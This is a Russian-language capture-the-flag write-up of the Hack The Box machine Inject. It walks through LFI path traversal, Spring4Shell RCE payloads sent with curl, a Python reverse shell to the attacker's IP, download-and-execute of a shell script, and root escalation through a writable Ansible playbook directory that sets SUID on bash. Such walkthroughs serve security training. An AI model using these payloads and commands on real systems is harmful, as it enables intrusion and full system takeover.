Хакер - HTB Inject. Используем Ansible playbooks для повышения привилегий
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Spring4Shell
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу, как повысить привилегии с применением техники GTFOBins для Ansible playbooks. Но прежде, чем добраться до него, нам предстоит проэксплуатировать уязвимость Spring4Shell в фреймворке Spring и заполучить учетные данные пользователя.
Наша цель — захват тренировочной машины Inject с площадки Hack The Box. Уровень ее сложности — легкий.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.204 inject.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы нашли два открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 8080 — веб‑сервис Nagios NSCA.
На SSH мы сейчас ничего не добьемся, поэтому обращаем свой взор на веб‑сервер.

ТОЧКА ВХОДА
На сайте можно зарегистрироваться и залогиниться, к тому же в глаза бросается возможность загружать файлы через пункт меню Upload. Перейти на эту страницу и загрузить файл получится и без авторизации.

После загрузки файла нам предложат просмотреть его по ссылке. Более интересно это выглядит в Burp History.

Имя загруженного файла передается в качестве параметра img страницы /show_image. В таком случае следует проверить, нет ли здесь уязвимости LFI, которая позволит смотреть произвольные файлы с обходом каталога, к примеру.
Пробуем прочитать файл ../../../../../../../../../../etc/passwd, и у нас получается.

Значит, LFI присутствует, это нам пригодится.
ТОЧКА ОПОРЫ
При попытке раскрутить уязвимость обнаруживаем, что мы можем не только смотреть файлы, но и получать листинги каталогов.

Давай посмотрим, что лежит в /var/www/, чтобы найти каталог с сайтом.

Это явно директория WebApp. Давай глянем файлы в ней.

Так мы узнаем, что имеем дело с приложением на Java. Поскольку используется средство сборки Maven, вся структура проекта описана в файле pom.xml (Project Object Model), который находится в корневой папке проекта. В Maven есть понятие «артефакт» — это какая‑то зависимость или плагин.

В этом проекте используется фреймворк Spring — это средство внедрения зависимостей с несколькими удобными слоями (среди них — доступ к базе данных, прокси, аспектно ориентированное программирование, RPC, веб‑инфраструктура и прочие). Все это позволяет быстрее и удобнее создавать приложения на Java, но использование таких фреймворков может привести к рискам для безопасности. Так, эта версия Spring содержит известную уязвимость Spring4Shell.
Spring4Shell
Этот баг приводит к удаленному выполнению кода (RCE). Подробнее о том, как это работает, можешь прочитать в блоге Sysdig. Чтобы проверить уязвимость, попробуем запустить простой веб‑сервер на основе Python 3 и обратиться к нему с удаленного сервера:
curl http://10.10.14.16/test_rce
Получится такой запрос:
curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/test_rce")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

Видим запрос в логах, а значит, уязвимость подтверждена. Запускаем листенер pwncat-cs -lp 4321 и выполняем реверс‑шелл. В качестве шелла используем следующий проверенный временем код на Python:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Одной командой это выполнить не вышло, поэтому первой командой скачиваем реверс‑шелл, второй присваиваем права для выполнения, а третьей выполняем шелл.
curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/rs.sh -o /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'
curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'
curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("/tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

ПРОДВИЖЕНИЕ
В домашнем каталоге пользователя находим скрытую папку .m2 для настроек Maven.

В этой папке должен быть файл settings.xml, как раз и описывающий основные параметры. Нам повезло, в файле нашлись еще и учетные данные.

Меняем пользователя с помощью утилиты su и получаем первый флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Мы вошли в систему и получили флаг пользователя, но для продвижения к руту нужно сначала собрать информацию о системе. Я, как обычно, использовал скрипт LinPEAS, но он ничего особенного не показал.
Если базовый перебор потенциально интересных мест в системе ничего не дал, значит, нужно отслеживать запускаемые процессы. Для этого есть отличное приложение pspy64. Загрузим его на хост, дадим право на выполнение, а потом запустим и будем мониторить логи. Таким образом обнаруживаем, что запускаются процессы ansible-playbook и ansible-parallel, но что более интересно — они запускаются в контексте пользователя с нулевым UID, а это root.

Также стоит обратить внимание на используемый путь:
/opt/automation/tasks/*.yml
Получается, мы можем передать на привилегированное выполнение любой конфиг YML в каталоге /opt/automation/tasks/. К тому же записывать в эту директорию могут пользователи группы staff, в которой мы и состоим (вывод команды id при получении сессии).

Первым делом я решил проверить техники GTFOBins и нашел ту, которую можно использовать.

Одной командой мы создаем конфигурацию, которая приведет к выполнению команды /usr/bin/chmod u+s /bin/bash.
echo '[{hosts: localhost, tasks: [shell: /usr/bin/chmod u+s /bin/bash]}]' > /opt/automation/tasks/get_root.yml
Спустя некоторое время проверяем права на файл командной оболочки /bin/bash и видим выставленный S-бит.

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Так мы и получаем новую привилегированную сессию.
/bin/bash -p

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei